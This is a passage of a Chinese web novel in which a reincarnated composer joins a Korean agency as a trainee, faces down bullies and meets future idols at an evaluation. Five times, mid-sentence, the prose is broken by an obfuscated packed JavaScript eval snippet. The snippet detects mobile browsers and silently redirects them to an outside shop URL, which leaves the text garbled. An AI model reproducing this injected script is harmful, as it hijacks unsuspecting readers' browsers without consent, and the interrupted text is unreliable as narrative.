经过一番唇枪舌剑地往来,文爸爸在朴真英肉疼的目光下在监护人一栏签下名字。 从现在起,文槿正式加入酱油瓶成为一名歌手练习生。 考虑到她的学业外加朴真英竭力争取,合同为期四年。若四年内酱油瓶不能兑现承诺推文槿出道,将无条件解除合约。 除此之外,保留她在音乐创作上的自主权以及所有词曲版权归个人所有,酱油瓶只有优先购买使用权。 抛开以上两点,其他方面文槿不介意做些让步。比如中途解约,不仅需要赔付大笔违约金且两年内不得加入其它公司。 别看经纪公司口口声声喊着梦想,说到底还是生意。做生意就没有不想赚钱、赚大钱的,黑心才是常态。 文槿早都过了非黑即白的年纪,不会为无可更改之事愤怒伤心。 合同一式两份,公司和文槿各保留一份。 收拾好东西,练习生组长李秀隽敲门进来,朴真英向她介绍文槿。 “这是今天正式加入公司的文槿,来自华国,目前是首尔大学作曲系的新生。先安排她到B班上课,后续等学校课表出来调整。对了,宿舍和饭卡等都安排好。” “好的,社长。” 李秀隽考核时见过文槿,三个月不见还以为人不会来了,没想到不但来了还带着首尔大闪闪发光的金字招牌。 “文槿xi,麻烦留一下电话,安排好我会及时通知你。” “谢谢,叫我文槿就好。” 幸好到首尔后第一时间买好手机办理了电话卡,否则现在只能留宿舍电话。比如上次留下的就是家里的座机,现在打过去可联系不到文槿。 眼见时间不早,朴真英热情地留文槿父女吃饭,“公司有自己的食堂,食材新鲜,手艺也不错。” 文景行看看女儿,见她不反对便同意下来。 担心他们不自在,朴真英没有同去。倒是崔宏哲热情的揽下带人去食堂的事,想趁机和文槿加深的联系。 文槿没有食堂饭卡,这一餐是崔宏哲帮他们付的款。点餐结束,这位面容憨厚的大叔借口有事离开了。 联络感情也要有度,他多有眼力见的人呐,这两人明显一副累了不想继续社交的模样,厚脸皮留下只会讨人嫌。 “能吃得惯吗?”文景行看看餐盘里的食物,问对面的文槿。 若说上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16007323|178353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次来韩国最不习惯的地方,非饮食莫属。 华国的孩子大多爱吃也会吃,最爱国的就是胃。俗话说民以食为天,文爸爸是真的担心女儿吃不好。 “爸爸,我可以自己做饭的。”文槿爱娇地皱皱鼻子,“又不是十指不沾阳春水的大小姐,能干着呢。” “好,不该小瞧你,爸爸跟你道歉。”文景行莞尔,“总觉得你还小,是一只手就能拢在怀里的小乖乖。如今要把你一个人留在异国他乡求学,处处都是不便。一时忘记我家槿槿有多能干了,抱歉。” “没关系,知道你是担心我。”文槿双手撑着下巴笑眯了眼,活像只狡黠可爱的狐狸。 她生有一双温柔又多情的桃花眼,睫毛浓密但并不十分卷翘,向眼尾斜飞而起,给澄澈灵动的眼睛添了几分妖冶和深邃。笑或不笑,自有风情。 正赶上晚餐高峰期,食堂里的人慢慢变多。父女二人即使坐在不起眼的角落,依然引起许多人的注目。 无比神似的外貌,如出一辙的古典气质,说话也不疾不徐好似泉水叮咚,实在引人入胜。 几个练习生坐到他们附近,边吃饭边把耳朵竖得高高的,结果灌了一耳朵陌生语言。 文槿不经意地抬头,和好几个少年对上视线。 嗯? 她疑惑地歪歪头,迟疑地朝他们挥挥手,露出善意的笑。 “好漂亮~” “超赞!” “呀,美死了!” 少年们你推我攘,垂头疯狂扒饭不敢继续和她对视,脸上泛起可疑的绯色。 文槿抿嘴移开视线,好怕自己当他们的面笑出来。 果然,男孩子还是年极小的可爱。 等到文槿起身,四周又是阵阵惊呼。 “好高!” “感觉有180公分!” “可怕,完全不敢站她旁边。” 韩国青年的平均身高为173.5公分,净身高175公分的女生现实里大部分韩国人没见过。 文槿浑然不知,离开酱油瓶公司后因为文景行不想马上回酒店,陪他去汉江边散步。 “爸爸明天就回去了,你一个人要好好吃饭、好好睡觉,照顾好自己。学业事业说到底都是外物,不如健康快乐来的重要。” “知道啦。”文槿挽着爸爸的臂弯,心里格外踏实。 如果世上只有一个男性可以信任,这个人非父亲莫属。 唔,小哥知道了可能会找她闹。气呼呼地说些对你千依百顺,你却不是最爱我的肉麻话。但没办法,这位哥哥常在她面前露出特别幼稚中二的一面,靠谱也觉得不靠谱了。 “光知道有什么用,要记在心里,更要做到。” 文槿伸出两根手指,粗着嗓子道:“保证做到,长官!” “要常给我们打电话,高兴、不高兴的事都要和我们说……” 文槿停下脚步,低垂着头,“别说了,再说要哭出来了。” “……” 文景行摸摸女儿的头,咽下到嘴边的叹息,“好,爸爸不说了。” 隔天清晨,文槿在机场送别父亲。 当机翼划破长空,远远消失于天际,第一次无比清晰的感知到孤独的存在。 在这个陌生的国度,能让她依赖的只有自己了。 11. 第 11 章 学校还未正式开课,提前入住的同学每天忙着交朋友,然后结伴探索校园以及首尔好吃好玩的地方。 文槿接到过外出邀请,有来自华国的同胞,也有其他国家的同龄人。她只结交了观感不错的住同一楼层的同胞和同系的几个同学,大部分都婉拒了。 比起一堆人热热闹闹的,她更喜欢独处。随意做点感兴趣的事,心情都会很愉快。 李秀隽的办事效率很高,接到电话的时候文槿刚从宿舍负一层的健身房出来。快速洗澡吃早餐,打车前往公司。 即使经历过几次,首尔高昂的打车费依然让文槿肉疼不已,暗自发誓以后再也不打车,改坐地铁。 八月的太阳热辣滚烫,蒸腾而起的热浪让外面的事物变得扭曲。李秀隽靠在前台和同事说话,空调送来幽幽凉风,舒服的想叹息。 文槿从推门进来,短短几步路额上出了层薄汗。瞧见李秀隽和前台小姐姐,挥手打招呼。 “早上好,两位女士。” 宽松运动裤和修身短上衣的搭配将她身材上的优点展现得淋漓尽致,素雅的颜色在盛夏带给人宁静沁凉的心理感受。 白色棒球帽下,乌黑浓密的长发从头顶开始编成辫子垂在脑后,随行走左右晃动。哪怕素面朝天,也掩不住的青春靓丽和扑面而来的活力。 真是天生的偶像啊。 李秀隽再次感慨,不怪崔宏哲那家伙最近意气风发走路带风。文槿要是她给公司挖掘的人,她能更骄傲。 这哪是偶像练习生,分明是即将长成的摇钱树。 “早,文槿。宿舍给你安排好了,一会儿找人带你去。这是钥匙、饭卡还有公司门禁,都收好了。” “谢谢,麻烦您了。”文槿接过,放进随身的帆布袋。 “应该的。”李秀隽非常看好文槿的未来,不介意提前释放善意,“走吧,先带你去B班,知道练习的地方,也让老师和其他练习生见见你。” 供练习生使用的练习室大多位于地下,至于上面窗明几净光线好空气清新的练习室,大多是出道艺人的专属。 瞧,连一个练习室都划分出三六九等,不拼命出道、拼命红能行吗? 面不改色地跟在李秀隽身后,谁也瞧不出文槿的心理活动竟这般丰富。 去往练习室的路上,李秀隽简单解释了练习生分班制。 刚进公司的练习生会根据综合水平分到最末等的D班或稍好一些的C班学习,B班是实力最好的练习生,人数最少也鲜少有人空降。 至于A班,是出道艺人预备役。唯有公司推艺人的时候,才会遴选部分练习生进入A班,集中小班教学后从中挑选最后的出道成员。 “刚来就进B班,挑战不小哦。”李秀隽似是打趣又像提醒,“不过是你的话,问题不大。” 文槿笑笑,“我会努力的。” 这个国家的霸凌事件世界闻名,甚至衍生出一套完整的上下级、前后辈文化,打着传统的名号光明正大欺压人,她就算不关注也听说过一二。 但是,韩国有霸凌,美国就没有歧视吗?谁也不是吃素的。 类似的事文槿见的多了,你越往后退别人就越得寸进尺变本加厉,要从源头遏止。 两人在一间紧闭的练习室前停下,隐约能听见唱歌的声音,应该是在进行声乐训练。现在是早上九点多,是练声的黄金时段。 “这间是女子B班,隔壁是男子B班。” 话音落,李秀隽敲响练习室大门。 门打开后,旋律听得更清晰了。 ——是中岛美嘉的《雪の华》。 决定到韩国发展后,她补了好多日韩两国的大热歌曲。好在如今是2005年,工程量尚在可接受范围内。 《雪の华》中韩两国的歌手都有翻唱过,韩国是情歌王子朴效信,去年随电视剧《对不起,我爱你》的播出大火。中文版直接以电视剧名为名,同样传播深远。 声乐老师是个三十岁上下的年轻女子,打扮的精致时髦,面容略有些熟悉。 “金老师,这是来自中国文槿,考核时你们见过的,从今天起她会在B班训练。”秉持着好人做到底的原则,李秀隽尽职尽责地给两人介绍彼此,“文槿,这是金慧珠老师,负责声乐训练。” “初次见面,金老师,日后拜托您多多指点。”文槿摘下帽子,微微鞠躬。 入乡随俗啊,虽然真的不太习惯。 现在才发觉失明也是有好处的,不用社交也不用向别人行礼。 金慧珠眼睛一亮,考核时文槿的唱功给她留下很深的印象。加上和李秀隽关系不错,知道对方首尔大学作曲系高材生的身份以及社长的看重,将来即使不能出道也不会混得差,不会刻意刁难。 但也只是不刁难而已,大加赞赏是不可能的,会助长练习生的傲气,不利于管理。 “来的正好,其他人唱完了,你也试试?” 文槿看向李秀隽,没忘记对方要带她去宿舍的事。 “没事,我等你。” 得到准确答复,文槿毫不含糊的答应下来,“好的,老师。” 练习室面积不小,里面站着十来个女孩。看到跟在金慧珠身后走进来的文槿,表情管理立刻失效。 “这是文槿,今天加入公司的练习生,以后和你们一起训练。” 简单说明情况,金慧珠把歌谱递给文槿一份。 其他人互相使眼色,见到这一幕纷纷屏气凝神等着看新人的表现,不乏有暗自祈祷新人没开嗓失误的。 可惜她们不知道,早起吊嗓子是文槿从小到大的习惯,日日不辍,她们注定会失望。 将歌谱从头到尾看过两遍,文槿开口了。 “随着不知不觉变长的身影,与你一起走在黄昏的黑暗中……”[1] 男声的调与女声差别不小,一般翻唱异性的歌时会选择升调或降调,以适应自己的嗓音条件。文槿没选择这么做,老老实实用原来的调唱完整首歌。 她的声音极具质感,唱伤感情歌时比起炫技更注重情感表达,情绪拿捏得恰到好处将故事娓娓道来,于是歌声也分外动人。 “不错。” 金慧珠轻轻鼓掌,在唱歌这方面文槿老练得不像个17岁的少女,不愧是社长评价可以直接歌手出道的存在。 文槿放下歌谱,朝她笑笑,“献丑了,老师。” “确实有不少需要改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16007324|178353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进的地方,比如说……” 金慧珠想说点什么,被李秀隽打断,“差不多啊,金老师。人我得带走,事情还没办完呢。” “走吧走吧。”金慧珠瞪她一眼,摆摆手,转身来个眼不见为净。 文槿匆匆而来匆匆而去,留给B班的女孩们好大一个“惊喜”,接下来的练习都更卖力了。 酱油瓶的练习生宿舍离公司不远,步行几分钟就能到。给文槿安排的这一间是三室两厅的格局,每个房间放两张架子床,有的还会再加塞一张单人床,四五个人把不大的房间塞得满满当当。 据李秀隽所说这里是B班女子宿舍,今天在练习室看到的十几个女孩全住这儿。 一想到要和那么多人合住,打心眼里不喜欢社交的文槿顿觉头大不已。 她毛病一大堆,洁癖、强迫症,还耳鼻灵敏。见不得家里有一点脏乱差和异味,对居住环境的要求不是一般的高,所以才会在申请宿舍时选择单人间。 费钱无所谓,关键是现在不能也不应该避开。在大红大紫之前,她是逃不开和人同住的宿命了。 把人送到后,李秀隽就离开了,只留下一张课表。 声乐、形体、舞蹈、语言、表情管理……所有想得到想不到的都会教。 课表上标注的上课时间只有十小时,但文槿相信大部分练习生的每日练习时长必然远超这个数,主打一个卷生卷死。 她尝试自我安慰,“算了,当多上了几年高三吧。” 还是文襄那种头悬梁锥刺股的高三学生。 想学业事业两手抓,辛苦是应该的。 简单收拾一下床铺,买好毛巾牙刷等日用品,文槿掉头回公司。学校开学后,她用于练习的时间会更短,便从现在开始抓紧时间努力吧。 到公司正好是午饭时间,精打细算的文槿同学决定先去食堂吃个饭。然后意外又不那么意外的,遇到之前有一面之缘的练习生们。 暑假是加强练习的好时候,有上进心的练习生几乎24小时泡在练习室,好像感觉不到累。 原本空空如也的餐桌,在文槿落座后不久满员。他们连后面都没放过,前后左右把她围在中间。 “你好,我叫赵泉,89年8月生。能知道你的名字吗?” 率先开口的少年生的清秀可爱,笑起来更是可爱。 对于没有恶意的人,文槿哪怕再不自在,也不会让对方的话落在地上。 她放下筷子,朝赵泉伸出手,“你好,文槿,88年9月生,华国人。” 见赵泉报出生年月,文槿也有样学样。 “原来是姐姐,你好你好。” 赵泉立马换成敬语,受宠若惊的握住她的手晃了晃,很快就礼貌地放开。 有他开的好头,其他人也纷纷介绍自己。 “李昌旻,86年。” “朴载范,87年。” “闵仙艺,89年。” …… “朴智效,97年。” 换做对韩娱有所了解的人,一定会认出他们之中的某些人是日后大热男女团的成员,文槿的关注点却是—— “97年?公司还收这么小的孩子呢?” 12. 第 12 章 年仅八岁的朴智效一团孩子气,乖乖被漂亮姐姐拉着手说话。 面对她,文槿在外人面前不自觉挂上的冷淡面具消失无踪。 这个年龄的女孩总会让她想到小侄女悦悦,而自己是悦悦口中抛下所有人一个人到天上做仙女的坏姑姑,感觉会被小丫头记恨很久的样子呢。 似乎觉得有意思,她弯起唇角笑得更温柔了。 如此近距离的美颜暴击,小智效看直了眼。其他人也不遑多让,差点忘记呼吸。 交换姓名年龄后,练习生们自觉调整称呼,比文槿年纪小得一口一个姐姐地叫。 作为家中最小的孩子,她还没被这么多人叫过姐姐呢。有点新奇,也有点不好意思。 她也入乡随俗,在称呼后面加上哥哥姐姐。 诶,想我的哥哥姐姐了。 文槿轻轻叹气。 她虽然是独生女,小时候却不缺玩伴。除了几乎差辈儿的大堂兄大堂姐,还有四个兄姐和她一起在爷奶的老宅长大。 尤其是只比她大一岁的小哥,两人从小学开始就在一个班,互相陪伴形影不离地长大,和亲兄妹也不差什么。 唔,这个时间他在做什么呢? 想着想着有点走神,而初次见面的其他练习生对文槿也不熟悉,没有一个人发现。 文襄在做什么呢? 他已经卷起来了,在校园论坛上找了几本学长学姐口中最不好啃的医学类书籍,一天天看得头昏脑胀。 但他没办法,停下来就忍不住想妹妹。 吃得好不好? 睡得好不好? 同学好相处吗? 有没有被人欺负? 哪怕看过小叔拍回来的照片,文槿也在电话里说一切都好,依然没办法安心。 “分离焦虑比我和你小婶还严重。”文景行打趣他,“不知道的,以为你才是槿槿的爸爸呢。” 怎么不算呢? 他是陪伴槿槿最多、最了解她的人呐。 和长辈说不通也不能说,文襄摆摆手,“叔,你不懂。” 摆出一副众人皆醉我独醒的模样,惆怅的回房间看书。 “这孩子……” 文景行失笑,等到独自一人时忍不住叹气。他也担心,可那是孩子的选择,而日子还要继续过。 文槿的生活逐渐走上正轨,每天五点半起床,健身房锻炼一小时,在学校食堂吃过早餐坐地铁去公司。然后一直练习到晚上九点,再坐地铁回学校宿舍。 两点一线的生活看起来枯燥,文槿却能自得其乐。 换种说法就是她喜欢稳定的东西,无论人还是环境,这让她感到舒服和安全。 最近学校更新了大一新生的课程,必修课、选修课列了好几页,看起来和伯克利学院的大同小异。 文槿深知艺术是既客观又主观的存在,创作者受何种文化滋养成长,他的作品里也会被同样的文化侵染。 正如上一世的她,经常被同行说旋律里有种格外与众不同的灵动与神秘。 为什么呢? 答案其实很简单,巧妙运用华国传统乐器。 她是个漫山遍野放养长大的小镇女孩,最常接触的东西是山林湖泊以及长辈深切热爱的戏曲。她的灵魂自由而野性,带着传统文化深刻滋养的痕迹。 所以哪怕课程大同小异,文槿也不打算吃老本混过去。能在新的老师身上学到什么呢,她对此非常期待。 人类的劣根性根植于基因,受道德伦理束缚不显于人前。看到比自己更优秀的人,有人专注自身埋头追赶,以期他日更胜一筹;有人口头诋毁甚至出手暗算,不把人从高处拉下来不罢休。 在酱油瓶度过还算安稳的前三天,发现文槿唱功不错但舞蹈一般,有人按捺不住小心思出手了。 某天下午文槿去洗手间,听到外面的人说起她。 “……公司从没收过外国人,还一来就是B班,谁知道怎么进来的。” “靠脸呗,长得跟个狐狸精似的,路比我们好走多了。诶,我听说上面有几位理事对她很感兴趣,你们懂的?” “哈哈哈,我一猜就是。” “诶,你们说她在哪家医院做的手术?真自然,我也想动一动。人变漂亮,路也会像她一样好走很多吧。” “你想得美!她肯定不会告诉你……” 早在听到第一句时,文槿就默默打开手机录音。考虑可能会用到这项功能,买手机时特意挑了三星最新款的折叠机。 瞧,这不是用上了。 听外面说得差不多,该录的也都录上了。文槿按下冲水键,慢悠悠打开隔间的门。 外面一共三个人,只有一个在B班见过,叫做……对,崔月贞。另外两个没见过,不认识。 见她出来,三人立马停下,表情有点尴尬更多的却是诧异。 “怎么不说了?”文槿打开水龙头,一边洗手一边透过镜子看她们,“不是知道我在里面,特意说给我听的吗?喏,我出来了,当面说岂不是更有趣。” “……” “呀,你就是这么和比你资历深的前辈说话的吗?教训你怎么了?给我好好学学规矩啊,华国佬。” 短暂的安静后,染着栗色短发的崔月贞开口,“而且我们有说错吗?特意从华国跑到我们国家,花钱弄出漂亮脸蛋,不就是想出道?想得快疯了吧。你这种人我见多了,为了抓住机会什么做不出来。” “机会?什么机会?”文槿摸摸脸,故作惊讶,“抱歉呐,没办法共情你的感受,因为我的人生没有缺少过机会。” 似乎被这句话戳到痛处,崔月贞身边的长直发女孩下意识举起手。文槿眼神一厉,迅速抬手握住她的手腕,狠狠甩开。 “怎么?动嘴不够还想动手?我记得练习生守则里规定,不准霸凌欺压其他人。” “你说欺负就欺负?我们三个在公司三年了,可以互相作证,谁会相信你的话?” “我。”躲在另一个隔间许久的闵仙艺推门出来,“我给文槿姐姐作证。” 她攥紧衣摆,用力到手指发白,一字一句无比清晰的说:“我全部都听见了。姐姐,我可以陪你去见李组长为你作证。” 气氛一时僵住,三人组没想到洗手间除了文槿还有一个人,明明检查过的。眼见情况不利,纷纷打起退堂鼓。 “争执几句罢了,闹到李组长那里你们也讨不了好。” 崔月贞说完,带着两个跟班风一样刮出洗手间。 “呼——”闵仙艺长出一口气,朝文槿腼腆笑笑,“我们也回去吧,姐姐。” “谢谢你,仙艺。”文槿挽起唇角,摸摸她的头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16007325|178353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 私下里闵仙艺把这件事和关系好的赵泉等人说了,请他们平时多关注一点,不要让那些人再找到机会。 就在她以为事情已经过去时,崔月贞三人被公司清退了。 知情人面面相觑,赵泉瞪大眼睛:“是文槿姐做的?怎么做到的?” “干得漂亮!” 朴载范不关注过程,反而对文槿的雷厉风行和一击必中干脆利落的手段表示赞叹。 怎么做?当然是找能做主的人出手。 从洗手间出来没多久,文槿就拿着手机录音去找李秀隽。听完崔月贞等人的话,这位练习生负责人脸黑得跟锅底似的。 事情往小了说只是练习生之间的口角,往大了说涉及对公司管理层和文槿的诽谤,还有明晃晃的国籍歧视。 如果是一般练习生,李秀隽大可以说几句漂亮话安抚,然后对犯错的练习生进行惩罚,事情也就过去了。 偏偏这个人是文槿,以上做法决不能令她满意。别问为什么,李秀隽就是知道。 “我没有其他意思,想着她们既然敢说出口,总不会只有我一个人听到。若是传播开来,既影响公司的风气和口碑,也对理事们的名誉不好。思来想去,决定把东西交给组长,让你决定比较好。” 话说得漂亮,好像不管公司怎么做她都不会有意见,信以为真就是笑话了。 “……你的决定没错,这种风气决不能助长。我会上报社长,请他裁夺。” 朴真英没辜负文槿对他的好印象,得知有练习生不好好训练反而在公司传播不实言论欺压新人,麻溜儿将人清退,前后用时不到一天。 发现文槿不是忍气吞声的类型,其他蠢蠢欲动的人立马安分下来,类似的事再没发生第二次。 总的来说,酱油瓶给文槿的印象和前世听说的差不多。 ——存在资本家对剥削对象的普遍操作,但总体风气还行,没有恶劣到让人无法忍受的行为。 八月末,文槿迎来自己在酱油瓶的第一次月末考核。此时她和B班的练习生已经相熟,有了几个能称之为朋友的存在。 “仙艺,以前考核都在上面的练习室进行吗?” 宽敞明亮的大练习室里,B班练习生不分男女被聚集到一起。文槿扯掉松散的发绳,边用手指捋头发边问身边的闵仙艺。 “不是呢,姐姐,大多时候在地下室那间练习室进行。” 闵仙艺靠在文槿旁边,姿态放松地看她梳头发。私底下大家都说新来的姐姐手段高性格冷淡不好接近,她却非常喜欢。 因为家庭的原因,闵仙艺对身边人的情绪非常敏感,欣赏能在困境中靠自己反击的人。 文槿姐姐虽然不爱说话,可她看人的眼神是有温度的。别人提出话题她绝对不会置之不理,也从不让人尴尬难堪。 对崔月贞的处理让她看起来不是很善良,可反击又有什么错呢? 闵仙艺特别喜欢待在她身边,喜欢她身上平和宁静的氛围。能暂时忘记生活中的困苦,让浮躁不安的心静下来。 自从在洗手间主动踏出第一步,在她有意的亲近下,两人慢慢成为可以一起吃饭说笑的朋友。 对此,闵仙艺心里可是非常得意的。 果然是勇敢者率先享受世界,就问有谁不喜欢和温柔漂亮的姐姐贴贴呢。 13.第 13 章 听到文槿和闵仙艺的话,隔几个身位的赵泉探头过来,“听前台的姐姐说今天公司来人了,似乎是其他公司的练习生,换地方考核不知道和这件事有没有关系。你觉得呢,载范哥?” 朴载范双手枕在脑后,整个人懒洋洋地带些痞气,“不知道,有什么关系吗?考核不都一个样。” “说的也是。”赵泉坐回去,“不过是表现优异不会大夸,表现不好会骂的更狠罢了。文槿姐,你做好心理准备哦。” 作为在场唯一没经历过考核的新人,文槿听完赵泉的小道消息和好意提醒,无所谓地耸耸肩。 “放心,我会当做没听到。” 好与不好她心里自有一套评判标准,不会因为外人随随便便的几句话改变,哪怕那个人是朴真英社长。 大家哈哈笑成一团,打趣道:“那不行,让社长知道更生气了。” 整个练习室内只有他们有心情说笑几句,其他人都紧张死了。 酱油瓶的练习生是有淘汰率的,B班的人虽然不会直接清退,可一旦掉落到C班代表离出道又远了一步,这种情况哪个练习生都不愿意看到。 每到月末考核时间,大家的精神就格外焦灼紧绷。偏偏这种折磨会一次又一次上演,直到成功出道或者被清退。 社长办公司,朴真英正接待歪鸡的社长杨贤朔。 闭门造车容易自视甚高,为了让孩子们更直观的了解自己和其他同龄人的水平,杨社长特意带他们到酱油瓶公司,准备来一场综合考核。 从前朴真英总是眼馋歪鸡有权至龙这样的练习生,创作、rap、舞蹈、vocal、风格样样出众,堪称全能。 现在他不羡慕了,因为酱油瓶有自己的明日之星,朴真英可以在姓杨的面前扬眉吐气炫耀一二。 “……前段时间收了一个首尔大学的练习生,作曲系的。啧,见过她我才知道什么叫天生的偶像。像一颗完美的原石,只需稍加打磨就能绽放绝世风采……” 巴拉巴拉,朴真英滔滔不绝,在当事人面前绝对不会说的漂亮话被一股脑倒给歪鸡的杨社长。 “是吗?一会儿可得好好见识见识。”杨贤朔闻言露出饶有兴趣的神色,奇特略带喜感的音色让他看起来像搞笑艺人。 两人简单寒暄几句,带着等候在外的歪鸡练习生往考核的大教室去。 办公室的门没关,朴真英的话外面的人听得一清二楚,其中就包括权至龙。 悄悄用手肘捅旁边的东咏裴,表情夸张但无声地吐出几个字,“首、尔、大、学!” 东咏裴认识他很久了,在歪鸡相互扶持走到现在,彼此再了解不过。见权至龙作怪,眼中浮起明显的笑意。假意瞪他一眼,朝前面两位社长的方向努嘴。 权至龙浑不在意,首尔大学又怎样?如果学历越高代表越优秀,大家都不用努力唱歌做舞台,直接把□□摆出来,谁的学校最牛谁排第一不就好了。 不过对方能被朴社长这么推崇,一定有她的过人之处。 他暗下决心,等会儿睁大眼睛好好看,看对方是不是实至名归。 “孩子们,今天的考核有点特别,知道为什么吗?”到达大教室门口,朴真英率先推门进去,笑眯眯地问神色紧张的练习生。 赵泉是个捧场王,第一个开口,“因为社长来了。” 朴真英忍不住笑,他的确不是每次都会出席月末考核。 “回答……错误!” 大喘气后出人意料的答案,明显是逗人玩。赵泉哀嚎一声,苦兮兮的模样令人莞尔,也让紧绷的气氛松散了些。 朴真英暗自满意地点头,开口说明原因。 “今天会有歪鸡的练习生和你们一起进行月末考核,平时一个个觉得天老大自己老二骄傲得很。都把本事使出来吧,让我和杨社长看看是不是那么回事。” 掌声中,杨贤朔和歪鸡的练习生登场。 权至龙和东咏裴并排走在社长身后,在踏进大教室的一瞬间,视线不受控制的落在一个人身上。 能做练习生的女孩长相都比一般人出众,可在那么多漂亮女孩里她依然是最出类拔萃的那个,像另一个次元的存在。 长发编成松散的辫子披在脑后,剩一截发尾调皮地搭在肩头,笑意未退的眼睛带着些漫不经心的好奇,生动得好像下一秒就要开口说话。 阳光从窗外照进来,给她镀上一层浅浅的金边,像从天而降的神明少女。 “扑通!” “扑通!扑通!” 心跳越来越快,仿佛要从胸腔跳出来。 空调好像失效了,权至龙突然燥得慌。尤其是耳朵和脖子,火辣辣的。 察觉对方的视线即将转过来,下意识低头避开。 文槿早都习惯被人注视,但这次不同,有一道目光格外灼热。她循着方向看过去,只有两个盯着地面寻宝的练习生。讶异的挑眉,挨个看过去。 早在听到歪鸡的名字时,她的心便不可避免的鼓噪起来。 站在面前的这些人中,会有那个人吗? 她睁大眼睛,看得格外仔细认真,没有注意到男孩们被她的视线扰得面红耳赤坐立难安。 “咳、咳咳。”朴真英清清嗓子,唤回某些人飞到天外的思绪,“杨社长,这就开始?” “开始吧。” 杨贤朔收回放在文槿身上的目光,如果她就是朴真英先前提起的练习生,那可不得了。 顶级的美貌本是超稀有资源,如果同时兼具一流的智商和创作力,未来乐坛必定有她一席之地。 幸好是个女孩,而他的企划是男团,不是直接竞争者真是太好了。 考核时两家公司的练习生穿插着轮流上场,前后都是别家公司的人,表现太差岂不是丢人。 无形的竞争氛围感染在场所有人,压力之下有人超常发挥有人临场失误。可机会只有一次,不论庆幸或沮丧,无法重来。 文槿看得认真,默默在心里琢磨换成自己会如何处理这首歌/这支舞,会比表演者做得更好吗? 学习他人的长处是进步的法门之一,而她恰好很擅长。 “……下一位,权至龙。” 熟悉的名字从歪鸡社长嘴里吐出,文槿精神一振,眼睛蹭地一下亮起来,目光灼灼看向歪鸡练习生的聚集处。 长相清秀的少年从人群里起身,来到练习室中央。他的身材不算高大,甚至有些瘦弱。小小一个笑得腼腆,是文槿从没设想过的形象。 不是说rapper都很拽吗?还是说本人和舞台形象的差别可以大到天差地别? 文槿百思不得其解。 疑惑维持不到三秒,被权至龙接下来的表现粉碎成渣渣。 无论是自成一格的rap,还是挥洒自如的舞步,瘦小的身体爆发出和外表截然不同的巨大能量,令人瞠目结舌叹为观止,也让文槿彻底相信这就是日后红遍世界的权巨星没错。 她曾无数次幻想舞台上的GD是什么模样,因为失明总是不得其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16013365|178353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解,如今才从少年权至龙身上窥见几分。 除了他,世上不会存在第二个有如此舞台魅力的人。哪怕这里只是一间简陋的练习室,没有舞美没有灯光没有造型。 不重要,只要舞台上那个人是权至龙就好。 权至龙又不是死人,被文槿的视线紧紧追随不可能毫无察觉。 全身燥热的感觉又来了,他揉揉耳朵,状似不经意地撇过去一眼,对方却已经挪开视线,不耐烦地啧了一声。 “怎么了?”东咏裴关心的询问。 “……没什么,有点热。” 东咏裴把水瓶递给他,“跳完舞是这样,喝点水吧。” 权至龙漫不经心地喝了两口,视线又开始不由自主地往右边飘,被东咏裴逮个正着。 “看什么呢?那个最漂亮的女练习生?” 权至龙脸颊爆红,“没有!” “……”东咏裴被他吓了一跳,小声吐槽,“没有就没有,你激动什么?看也正常,谁不喜欢看漂亮的人。” 权至龙无言以对,耷拉着脑袋不说话。 “文槿,下一个你来。”见自家练习生被歪鸡的人压了一头,朴真英决定使出杀手锏。 “好的,社长。” 原来她叫文槿。 权至龙倏地抬头,目送女孩起身。 声音听起来不错。 默默在心里点头,视线亦步亦趋随她而动。 好在其他人的表现与他一般无二,显得权至龙不那么突兀。 “上次我听到的那首歌完善的怎么了?唱来听听?” 文槿没有异议,走到角落的钢琴前坐下。 搭在琴键上的双手白皙修长骨节分明,没有难看的伤疤,更不会出现心有余而力不足的情况。 想到坐在教室里的那个人,文槿挽唇笑了笑,手指用力按下。 前奏响起,节奏轻快而明朗。像仲春的风拂过大地,吹开绚烂的花朵。 有人享受的闭上双眼,沉浸在音乐中。 等到文槿开口,大家又是一惊。 